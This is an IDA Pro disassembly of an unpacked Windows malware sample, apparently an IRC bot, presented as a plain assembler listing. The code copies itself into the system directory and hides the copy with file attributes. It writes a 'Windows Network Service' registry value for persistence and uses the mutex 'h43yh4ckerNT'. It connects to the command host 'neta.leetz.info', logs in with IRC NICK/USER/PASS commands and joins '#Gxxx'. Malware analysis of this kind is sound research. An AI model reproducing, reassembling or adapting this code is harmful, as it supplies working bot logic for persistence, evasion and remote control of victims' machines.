;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	106330FBC51F95A894CD16453A2A8218

; File Name   :	u:\work\106330fbc51f95a894cd16453a2a8218_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000E1000 ( 921600.)
; Section size in file		: 000E1000 ( 921600.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_packed		segment	para public 'CODE' use32
		assume cs:_packed
		;org 401000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401071+4p
					; sub_401252+349p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi


loc_401006:				; DATA XREF: .RLPack:004FE472o
		push	edi
		xor	edi, edi
		xor	esi, esi
		mov	ebx, offset aWindowsNetwork ; "Windows Network Service"


loc_401010:				; CODE XREF: sub_401000+6Aj
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	edi
		push	0F003Fh
		push	edi
		push	edi
		push	edi
		push	off_42A058[esi]
		push	dword_42A054[esi]
		call	dword_4CDC18	; RegCreateKeyExA
		cmp	[ebp+arg_0], edi
		jz	short loc_401051
		push	[ebp+arg_0]
		call	sub_41B7B0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	edi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CDC88	; RegSetValueExA
		jmp	short loc_40105B
; ---------------------------------------------------------------------------


loc_401051:				; CODE XREF: sub_401000+33j
		push	ebx
		push	[ebp+var_4]
		call	dword_4CDBC8	; RegDeleteValueA


loc_40105B:				; CODE XREF: sub_401000+4Fj
		push	[ebp+var_4]
		call	dword_4CDC40	; RegCloseKey
		add	esi, 8
		cmp	esi, 18h
		jb	short loc_401010
		pop	edi


loc_40106D:				; DATA XREF: .RLPack:loc_4FFF5Cw
					; sub_500288+14r ...
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401071	proc near		; CODE XREF: sub_401071+16j
					; DATA XREF: sub_401252+49Bo

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_401000
		pop	ecx
		push	dword_42A050
		call	dword_428064	; Sleep
		jmp	short sub_401071
sub_401071	endp


; =============== S U B	R O U T	I N E =======================================



sub_401089	proc near		; CODE XREF: sub_4010C2+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		or	esi, 0FFFFFFFFh
		test	edi, edi
		jz	short loc_4010BB
		mov	ecx, 0FFh
		push	ebx


loc_4010A0:				; CODE XREF: sub_401089+2Fj
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_428240[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_4010A0
		pop	ebx


loc_4010BB:				; CODE XREF: sub_401089+Fj
		mov	eax, esi
		pop	edi
		not	eax
		pop	esi
		retn
sub_401089	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010C2	proc near		; CODE XREF: sub_416975+23Fp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BCA5
		mov	[esp+10h+var_10], offset dword_42A06C
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BC92
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jnz	short loc_40110D


loc_4010E7:				; CODE XREF: sub_4010C2+37j
		xor	eax, eax
		jmp	short loc_40112E
; ---------------------------------------------------------------------------


loc_4010EB:				; CODE XREF: sub_4010C2+4Fj
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B9D2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010E7
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B8EA
		add	esp, 10h


loc_40110D:				; CODE XREF: sub_4010C2+23j
		test	byte ptr [edi+0Ch], 10h
		jz	short loc_4010EB
		dec	ebx
		push	ebx
		push	esi
		call	sub_401089
		push	esi
		mov	ebx, eax
		call	sub_41B881
		push	edi
		call	sub_41B82B
		add	esp, 10h
		mov	eax, ebx


loc_40112E:				; CODE XREF: sub_4010C2+27j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401132	proc near		; DATA XREF: sub_401252+14o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_440BA4
		call	dword_4CDCFC	; closesocket
		call	sub_40B150
		call	dword_4CDBBC	; WSACleanup
		call	dword_4CDBBC	; WSACleanup
		mov	ebx, dword_428064
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BD60
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BD60
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43FE14
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_428078	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_428074	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_428070	; CreateProcessA
		test	eax, eax
		jz	short loc_4011F7
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_42806C
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_4011F7:				; CODE XREF: sub_401132+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43FE10
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_428068	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx


loc_40121A:				; DATA XREF: .packed:0042A004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418E56
		pop	ecx
		mov	dword_4CD998, eax
		pop	ecx
		retn
sub_401132	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401236	proc near		; DATA XREF: .packed:0042A008o
		jmp	$+5
sub_401236	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40123B	proc near
		push	1000h
		push	4B4h
		call	sub_418E56
		pop	ecx
		mov	dword_4CDB04, eax
		pop	ecx
		retn
sub_40123B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401252	proc near		; CODE XREF: .packed:0041E1FCp

var_99C		= dword	ptr -99Ch
var_98C		= byte ptr -98Ch
var_888		= byte ptr -888h
var_887		= byte ptr -887h
var_6F8		= byte ptr -6F8h
var_5F8		= byte ptr -5F8h
var_4F8		= byte ptr -4F8h
var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_1EC		= byte ptr -1ECh
var_E8		= dword	ptr -0E8h
var_DC		= dword	ptr -0DCh
var_BC		= dword	ptr -0BCh
var_B8		= word ptr -0B8h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 98Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], offset sub_401132
		push	[ebp+var_C]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4280A8
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CD99C, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41C0A8
		pop	ecx
		call	sub_409A1D
		push	2
		call	dword_4CDD10	; SetErrorMode
		push	7530h
		push	offset aH43yh4ckernt ; "h43yh4ckerNT"
		push	ebx
		push	ebx
		call	dword_4280A4	; CreateMutexA
		push	eax
		call	dword_4280A0	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_4012D2
		push	1
		call	dword_428068	; ExitProcess


loc_4012D2:				; CODE XREF: sub_401252+76j
		lea	eax, [ebp+var_888]
		push	eax
		push	202h
		call	dword_4CDBD4	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jnz	loc_401888
		cmp	[ebp+var_888], 2
		jnz	loc_401882
		xor	eax, eax
		mov	al, [ebp+var_887]
		cmp	al, 2
		jnz	loc_401882
		mov	esi, 104h
		lea	eax, [ebp+var_3F4]
		push	esi
		push	eax
		call	dword_428078	; GetSystemDirectoryA
		lea	eax, [ebp+var_2F0]
		push	esi
		push	eax
		push	ebx
		call	dword_42809C	; GetModuleHandleA
		push	eax
		call	dword_428074	; GetModuleFileNameA
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_5F8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	eax
		call	sub_41C1A1
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_5F8]
		push	eax
		push	offset dword_42AB10
		lea	eax, [ebp+var_4F8]
		push	esi
		push	eax
		call	sub_41C150
		lea	eax, [ebp+var_3F4]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_41C0D0
		add	esp, 30h
		test	eax, eax
		jnz	loc_401538
		cmp	dword_4CDB08, ebx
		mov	esi, offset byte_42A10C
		jz	short loc_4013CD
		push	esi
		xor	edi, edi
		call	sub_41B7B0
		sub	eax, 4
		pop	ecx
		jz	short loc_4013CD


loc_4013AA:				; CODE XREF: sub_401252+179j
		call	sub_41C0B2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42A10C[edi], dl
		inc	edi
		call	sub_41B7B0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_4013AA


loc_4013CD:				; CODE XREF: sub_401252+148j
					; sub_401252+156j
		lea	eax, [ebp+var_3F4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1EC]
		push	offset dword_42AB08
		push	eax
		call	sub_41C056
		add	esp, 10h
		lea	eax, [ebp+var_1EC]
		push	eax
		call	dword_428098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40140D
		lea	eax, [ebp+var_1EC]
		push	80h
		push	eax
		call	dword_428094	; SetFileAttributesA


loc_40140D:				; CODE XREF: sub_401252+1A7j
		mov	esi, dword_428090
		xor	edi, edi
		jmp	short loc_401439
; ---------------------------------------------------------------------------


loc_401417:				; CODE XREF: sub_401252:loc_40144Cj
		call	dword_42808C	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40144E
		cmp	eax, 20h
		jz	short loc_40142B
		cmp	eax, 5
		jnz	short loc_40144E


loc_40142B:				; CODE XREF: sub_401252+1D2j
		xor	edi, edi
		push	3A98h
		inc	edi
		call	dword_428064	; Sleep


loc_401439:				; CODE XREF: sub_401252+1C3j
		lea	eax, [ebp+var_1EC]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	esi	; CopyFileA
		test	eax, eax


loc_40144C:				; DATA XREF: sub_4FE53F+31Br
		jz	short loc_401417


loc_40144E:				; CODE XREF: sub_401252+1CDj
					; sub_401252+1D7j
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_41896E
		pop	ecx
		lea	eax, [ebp+var_1EC]
		push	7
		push	eax
		call	dword_428094	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_41BD60
		push	44h
		lea	eax, [ebp+var_E8]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BD60
		mov	[ebp+var_E8], esi
		xor	esi, esi
		inc	esi
		add	esp, 18h
		mov	[ebp+var_DC], offset byte_43FE14
		mov	[ebp+var_BC], esi
		mov	[ebp+var_B8], bx
		call	dword_428088	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_428084	; OpenProcess
		lea	ecx, [ebp+var_2F0]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		lea	eax, [ebp+var_98C]
		push	offset dword_42AAFC
		push	eax
		call	sub_41C056
		add	esp, 14h
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_E8]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_98C]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	dword_428070	; CreateProcessA
		test	eax, eax
		jz	short loc_401538
		push	0C8h
		call	dword_428064	; Sleep
		push	[ebp+var_24]
		mov	esi, dword_42806C
		call	esi	; CloseHandle
		push	[ebp+var_20]
		call	esi	; CloseHandle
		call	dword_4CDBBC	; WSACleanup
		push	ebx
		call	dword_428068	; ExitProcess


loc_401538:				; CODE XREF: sub_401252+137j
					; sub_401252+2BCj
		cmp	dword_4DE048, 2
		jle	short loc_401584
		mov	eax, dword_4DE04C
		push	dword ptr [eax+4]
		call	sub_41BF49
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_4280A0	; WaitForSingleObject
		push	esi
		call	dword_42806C	; CloseHandle
		mov	eax, dword_4DE04C
		cmp	[eax+8], ebx
		jz	short loc_401584
		push	7D0h
		call	dword_428064	; Sleep
		mov	eax, dword_4DE04C
		push	dword ptr [eax+8]
		call	dword_428080	; DeleteFileA


loc_401584:				; CODE XREF: sub_401252+2EDj
					; sub_401252+317j
					; DATA XREF: ...
		cmp	dword_42A08C, ebx
		jz	short loc_4015A1
		cmp	dword_4CDD30, ebx
		jnz	short loc_4015A1
		lea	eax, [ebp+var_4F8]
		push	eax
		call	sub_401000
		pop	ecx


loc_4015A1:				; CODE XREF: sub_401252+338j
					; sub_401252+340j
		lea	eax, [ebp+var_A4]
		push	offset dword_42AAE0
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_A4]
		push	ebx
		push	eax


loc_4015BB:				; DATA XREF: sub_4FE53F+F0r
		call	sub_40AF8D
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_4157A5
		push	0B80h
		push	ebx
		push	offset dword_43FE18
		call	sub_41BD60
		lea	eax, [ebp+var_A4]
		push	offset unk_42AABC
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_A4]
		push	1
		push	eax
		call	sub_40AF8D
		add	esp, 38h
		mov	edi, eax
		mov	esi, dword_42807C
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_41A1AF
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_440BAC[edi], eax
		jnz	short loc_401641
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A4]
		push	offset unk_42AA7C
		push	eax
		call	sub_41C056
		add	esp, 0Ch


loc_401641:				; CODE XREF: sub_401252+3D2j
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_4157A5
		lea	eax, [ebp+var_A4]
		mov	[esp+99Ch+var_99C], offset dword_42AA50
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_A4]
		push	1
		push	eax
		call	sub_40AF8D
		add	esp, 14h
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_41AC6A
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_440BAC[edi], eax
		jnz	short loc_4016AE
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A4]
		push	offset dword_42AA14
		push	eax
		call	sub_41C056
		add	esp, 0Ch


loc_4016AE:				; CODE XREF: sub_401252+43Fj
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_4157A5
		lea	eax, [ebp+var_A4]
		mov	[esp+99Ch+var_99C], offset dword_42A9EC
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_A4]
		push	1
		push	eax
		call	sub_40AF8D
		add	esp, 14h
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4F8]
		push	ebx
		push	eax
		push	offset sub_401071
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_440BAC[edi], eax
		jnz	short loc_401721
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A4]
		push	offset dword_42A9B0
		push	eax
		call	sub_41C056
		add	esp, 0Ch


loc_401721:				; CODE XREF: sub_401252+4B2j
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_4157A5
		call	sub_41C0B2
		push	7Fh
		and	eax, 3
		push	offset aNeta_leetz_inf ; "neta.leetz.info"
		push	offset dword_4CD9A4
		mov	dword_4CDB18, eax
		call	sub_41BDC0
		mov	eax, dword_42A070
		push	3Fh
		mov	edi, offset dword_4CDA24
		push	offset aGxxx	; "#Gxxx"
		push	edi
		mov	dword_4CDAF4, eax
		call	sub_41BDC0
		push	3Fh
		mov	esi, offset dword_4CDA64
		push	offset a_gxxx_	; ".Gxxx."
		push	esi
		call	sub_41BDC0
		add	esp, 28h
		mov	dword_4CDAF8, ebx


loc_401782:				; CODE XREF: sub_401252+5D6j
					; sub_401252+5E1j ...
		mov	[ebp+var_4], ebx


loc_401785:				; CODE XREF: sub_401252+58Aj
		cmp	dword_4CDD48, ebx
		jnz	short loc_4017A3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	dword_4CDBA0	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_4017A3
		push	7530h
		jmp	short loc_4017CF
; ---------------------------------------------------------------------------


loc_4017A3:				; CODE XREF: sub_401252+539j
					; sub_401252+548j
		push	offset dword_4CD9A0
		mov	dword_4CDB14, ebx
		call	sub_401891
		cmp	eax, 2
		mov	[ebp+var_C], eax
		jz	loc_40187D
		cmp	dword_4CDB14, ebx
		jz	short loc_4017CA
		dec	[ebp+var_4]


loc_4017CA:				; CODE XREF: sub_401252+573j
		push	0BB8h


loc_4017CF:				; CODE XREF: sub_401252+54Fj
		call	dword_428064	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_401785
		cmp	[ebp+var_C], 2
		jz	loc_40187D
		cmp	[ebp+var_10], ebx
		jz	short loc_40182D
		push	7Fh
		push	offset aNeta_leetz_inf ; "neta.leetz.info"
		push	offset dword_4CD9A4
		call	sub_41BDC0
		mov	eax, dword_42A070
		push	3Fh
		push	offset aGxxx	; "#Gxxx"
		push	edi
		mov	dword_4CDAF4, eax
		call	sub_41BDC0
		push	3Fh
		push	offset a_gxxx_	; ".Gxxx."
		push	esi
		call	sub_41BDC0
		add	esp, 24h
		mov	[ebp+var_10], ebx
		jmp	loc_401782
; ---------------------------------------------------------------------------


loc_40182D:				; CODE XREF: sub_401252+599j
		cmp	byte_42A0EC, bl
		jz	loc_401782
		push	7Fh
		push	offset byte_42A0EC
		push	offset dword_4CD9A4
		call	sub_41BDC0
		mov	eax, dword_42A074
		push	3Fh
		push	offset dword_42A0FC
		push	edi
		mov	dword_4CDAF4, eax
		call	sub_41BDC0
		push	3Fh
		push	offset dword_42A104
		push	esi
		call	sub_41BDC0
		add	esp, 24h
		mov	[ebp+var_10], 1
		jmp	loc_401782
; ---------------------------------------------------------------------------


loc_40187D:				; CODE XREF: sub_401252+567j
					; sub_401252+590j
		call	sub_40B150


loc_401882:				; CODE XREF: sub_401252+A4j
					; sub_401252+B4j
		call	dword_4CDBBC	; WSACleanup


loc_401888:				; CODE XREF: sub_401252+97j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_401252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401891	proc near		; CODE XREF: sub_401252+55Cp
					; DATA XREF: sub_401B66+655Bo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_4018B6:				; CODE XREF: sub_401891+E6j
					; sub_401891+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax


loc_4018E0:				; DATA XREF: .RLPack:004FE864o
		call	sub_40AA04
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_4019F3
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BD60
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4CDB0C
		push	dword_42A098
		push	eax
		call	sub_40AF23
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_440BB0
		push	edi
		push	eax
		call	sub_41BDC0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CDCE4	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_440BA4[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CDC0C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40197C
		push	esi
		call	dword_4CDCFC	; closesocket
		call	sub_40AA2D
		push	7D0h


loc_401971:				; CODE XREF: sub_401891+146j
		call	dword_428064	; Sleep
		jmp	loc_4018B6
; ---------------------------------------------------------------------------


loc_40197C:				; CODE XREF: sub_401891+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_42AB18
		call	sub_415819
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_4019F7
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CDCFC	; closesocket
		test	edi, edi
		jz	loc_4018B6
		cmp	edi, 1
		jnz	short loc_4019D9
		push	0DBBA0h
		jmp	short loc_401971
; ---------------------------------------------------------------------------


loc_4019D9:				; CODE XREF: sub_401891+13Fj
		cmp	edi, 2
		jnz	loc_4018B6
		push	[ebp+var_34]
		call	sub_40B2A3
		pop	ecx
		push	edi
		pop	eax


loc_4019ED:				; CODE XREF: sub_401891+164j
		pop	edi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4019F3:				; CODE XREF: sub_401891+5Aj
		xor	eax, eax
		jmp	short loc_4019ED
sub_401891	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019F7	proc near		; CODE XREF: sub_401891+123p

var_1990	= byte ptr -1990h
var_990		= byte ptr -990h
var_1C0		= byte ptr -1C0h
var_120		= byte ptr -120h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1990h
		call	sub_41C2F0
		push	ebx
		xor	ebx, ebx
		cmp	byte_4CDB10, bl
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_120], bl
		jz	short loc_401A2F
		push	offset byte_4CDB10
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40993C
		add	esp, 0Ch


loc_401A2F:				; CODE XREF: sub_4019F7+21j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AF23
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C056
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDCB4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A99
		push	[ebp+arg_0]
		call	dword_4CDCFC	; closesocket
		push	1388h
		call	dword_428064	; Sleep


loc_401A92:				; CODE XREF: sub_4019F7+CCj
					; sub_4019F7+146j
		xor	eax, eax


loc_401A94:				; CODE XREF: sub_4019F7+162j
					; sub_4019F7+16Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A99:				; CODE XREF: sub_4019F7+85j
					; sub_4019F7+EBj ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1990]
		push	esi
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_1990]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDC7C	; recv
		test	eax, eax
		jle	short loc_401A92
		lea	eax, [ebp+var_990]
		push	eax
		lea	eax, [ebp+var_1990]
		push	eax
		call	sub_418665
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A99
		lea	edi, [ebp+var_990]


loc_401AEA:				; CODE XREF: sub_4019F7+158j
		xor	esi, esi
		inc	esi


loc_401AED:				; CODE XREF: sub_4019F7+137j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401B66
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401B30
		push	7D0h
		call	dword_428064	; Sleep
		jmp	short loc_401AED
; ---------------------------------------------------------------------------


loc_401B30:				; CODE XREF: sub_4019F7+12Aj
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401B5E
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401B56
		cmp	esi, 0FFFFFFFFh
		jz	loc_401A92
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401AEA
		jmp	loc_401A99
; ---------------------------------------------------------------------------


loc_401B56:				; CODE XREF: sub_4019F7+141j
		xor	eax, eax
		inc	eax
		jmp	loc_401A94
; ---------------------------------------------------------------------------


loc_401B5E:				; CODE XREF: sub_4019F7+13Cj
		push	2
		pop	eax
		jmp	loc_401A94
sub_4019F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B66	proc near		; CODE XREF: sub_4019F7+11Dp

var_5D84	= byte ptr -5D84h
var_5984	= byte ptr -5984h
var_5584	= byte ptr -5584h
var_53F4	= byte ptr -53F4h
var_51F4	= byte ptr -51F4h
